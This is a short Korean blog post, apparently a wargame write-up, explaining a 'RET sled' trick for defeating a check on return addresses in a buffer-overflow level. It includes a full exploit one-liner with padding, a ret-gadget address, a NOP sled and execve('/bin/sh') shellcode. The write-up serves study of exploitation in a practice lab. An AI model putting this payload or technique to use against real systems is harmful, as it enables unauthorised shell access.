- ret값에 스택과 라이브러리 둘다 넣지 못하게 되어있다. 하지만 방법은 있다!
* RET Sled
- 정상적인 ret에 명령어의 주소 &ret을 넣어주면 pop eip, jmp eip를 통해 ebp+8에 ret값을 사용할 수 있다.
leave
-mov esp, ebp
-pop ebp
ret
-pop eip
$(python -c 'print "A"*44+"\x1e\x85\x04\x08"+"\xe8\xfa\xff\xbf"+"\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
eip 에 &ret 주소를 넣어 주고 ebp+8 이 ret 이 되니까 여기 쉘코드 시작주소를 넣어주면 된다.
'WARGAME > BOF' 카테고리의 다른 글
[BOF] golem->darkknight (0) | 2018.02.20 |
---|---|
[BOF] skeleton->golem (0) | 2018.02.20 |
[BOF] vampire->skeleton (0) | 2018.02.20 |
[BOF] orge->vampire (0) | 2018.02.20 |
[BOF] orge->troll (0) | 2018.02.20 |